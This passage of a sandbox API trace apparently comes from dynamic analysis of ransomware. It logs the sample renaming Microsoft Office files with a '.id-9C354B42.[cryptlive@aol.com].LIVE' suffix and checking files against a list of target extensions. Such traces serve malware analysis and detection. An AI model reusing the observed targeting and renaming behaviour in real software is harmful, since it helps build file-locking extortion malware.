files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0128.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.426] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0129.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0130.488] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=71388) returned 1 [0130.488] CloseHandle (hObject=0x308) returned 1 [0130.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0130.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.489] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.489] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0130.489] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.490] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.490] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0130.490] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.490] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.490] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.490] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.490] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.490] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.490] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.490] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0130.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0130.490] lstrlenW (lpString=".doc") returned 4 [0130.490] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.490] lstrlenW (lpString=".docx") returned 5 [0130.490] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0130.490] lstrlenW (lpString=".pdf") returned 4 [0130.490] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.490] lstrlenW (lpString=".xls") returned 4 [0130.490] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.490] lstrlenW (lpString=".xlsx") returned 5 [0130.490] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0130.490] lstrlenW (lpString=".ppt") returned 4 [0130.490] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0130.490] lstrlenW (lpString=".zip") returned 4 [0130.490] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.490] lstrlenW (lpString=".rar") returned 4 [0130.490] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.491] lstrlenW (lpString=".bz2") returned 4 [0130.491] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.491] lstrlenW (lpString=".7z") returned 3 [0130.491] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0130.491] lstrlenW (lpString=".dbf") returned 4 [0130.491] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0130.491] lstrlenW (lpString=".1cd") returned 4 [0130.491] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0130.491] lstrlenW (lpString=".jpg") returned 4 [0130.491] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.491] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0130.491] lstrlenW (lpString="ICE.ELM") returned 7 [0130.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0130.493] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=68048) returned 1 [0130.493] CloseHandle (hObject=0x308) returned 1 [0130.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm")) returned 0x20 [0130.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.497] lstrlenW (lpString=".doc") returned 4 [0130.497] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.497] lstrlenW (lpString=".docx") returned 5 [0130.497] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0130.497] lstrlenW (lpString=".pdf") returned 4 [0130.497] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.497] lstrlenW (lpString=".xls") returned 4 [0130.497] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.497] lstrlenW (lpString=".xlsx") returned 5 [0130.497] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0130.497] lstrlenW (lpString=".ppt") returned 4 [0130.497] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.497] lstrlenW (lpString=".zip") returned 4 [0130.497] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.497] lstrlenW (lpString=".rar") returned 4 [0130.497] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.497] lstrlenW (lpString=".bz2") returned 4 [0130.497] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.497] lstrlenW (lpString=".7z") returned 3 [0130.497] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.497] lstrlenW (lpString=".dbf") returned 4 [0130.497] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.497] lstrlenW (lpString=".1cd") returned 4 [0130.497] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.497] lstrlenW (lpString=".jpg") returned 4 [0130.498] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.498] lstrlenW (lpString=".doc") returned 4 [0130.498] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.498] lstrlenW (lpString=".docx") returned 5 [0130.498] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0130.498] lstrlenW (lpString=".pdf") returned 4 [0130.498] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.498] lstrlenW (lpString=".xls") returned 4 [0130.498] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.498] lstrlenW (lpString=".xlsx") returned 5 [0130.498] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0130.498] lstrlenW (lpString=".ppt") returned 4 [0130.498] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.498] lstrlenW (lpString=".zip") returned 4 [0130.498] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.498] lstrlenW (lpString=".rar") returned 4 [0130.498] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.498] lstrlenW (lpString=".bz2") returned 4 [0130.498] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.498] lstrlenW (lpString=".7z") returned 3 [0130.498] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.498] lstrlenW (lpString=".dbf") returned 4 [0130.498] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.498] lstrlenW (lpString=".1cd") returned 4 [0130.498] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0130.498] lstrlenW (lpString=".jpg") returned 4 [0130.498] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.499] lstrcmpiW (lpString1=".INF", lpString2=".LIVE") returned -1 [0130.499] lstrlenW (lpString="ICE.INF") returned 7 [0130.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0130.500] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=429) returned 1 [0130.500] CloseHandle (hObject=0x308) returned 1 [0130.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf")) returned 0x20 [0130.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.504] lstrlenW (lpString=".doc") returned 4 [0130.504] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.504] lstrlenW (lpString=".docx") returned 5 [0130.504] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0130.504] lstrlenW (lpString=".pdf") returned 4 [0130.504] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.504] lstrlenW (lpString=".xls") returned 4 [0130.504] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.504] lstrlenW (lpString=".xlsx") returned 5 [0130.504] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0130.504] lstrlenW (lpString=".ppt") returned 4 [0130.504] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.504] lstrlenW (lpString=".zip") returned 4 [0130.504] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.504] lstrlenW (lpString=".rar") returned 4 [0130.504] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.504] lstrlenW (lpString=".bz2") returned 4 [0130.504] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.504] lstrlenW (lpString=".7z") returned 3 [0130.504] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.504] lstrlenW (lpString=".dbf") returned 4 [0130.505] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString=".1cd") returned 4 [0130.505] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString=".jpg") returned 4 [0130.505] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString=".doc") returned 4 [0130.505] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.505] lstrlenW (lpString=".docx") returned 5 [0130.505] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0130.505] lstrlenW (lpString=".pdf") returned 4 [0130.505] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0130.505] lstrlenW (lpString=".xls") returned 4 [0130.505] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0130.505] lstrlenW (lpString=".xlsx") returned 5 [0130.505] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0130.505] lstrlenW (lpString=".ppt") returned 4 [0130.505] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString=".zip") returned 4 [0130.505] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0130.505] lstrlenW (lpString=".rar") returned 4 [0130.505] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0130.505] lstrlenW (lpString=".bz2") returned 4 [0130.505] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0130.505] lstrlenW (lpString=".7z") returned 3 [0130.505] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString=".dbf") returned 4 [0130.505] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.505] lstrlenW (lpString=".1cd") returned 4 [0130.505] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0130.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0130.506] lstrlenW (lpString=".jpg") returned 4 [0130.506] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0130.506] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0130.506] lstrlenW (lpString="INDUST.ELM") returned 10 [0130.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0130.507] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=99561) returned 1 [0130.507] CloseHandle (hObject=0x308) returned 1 [0130.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0130.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.584] lstrlenW (lpString=".doc") returned 4 [0130.584] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.584] lstrlenW (lpString=".docx") returned 5 [0130.584] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0130.584] lstrlenW (lpString=".pdf") returned 4 [0130.584] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.584] lstrlenW (lpString=".xls") returned 4 [0130.584] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.584] lstrlenW (lpString=".xlsx") returned 5 [0130.584] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0130.584] lstrlenW (lpString=".ppt") returned 4 [0130.584] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.584] lstrlenW (lpString=".zip") returned 4 [0130.584] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.584] lstrlenW (lpString=".rar") returned 4 [0130.584] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.584] lstrlenW (lpString=".bz2") returned 4 [0130.584] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.584] lstrlenW (lpString=".7z") returned 3 [0130.584] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.584] lstrlenW (lpString=".dbf") returned 4 [0130.585] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString=".1cd") returned 4 [0130.585] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString=".jpg") returned 4 [0130.585] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString=".doc") returned 4 [0130.585] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.585] lstrlenW (lpString=".docx") returned 5 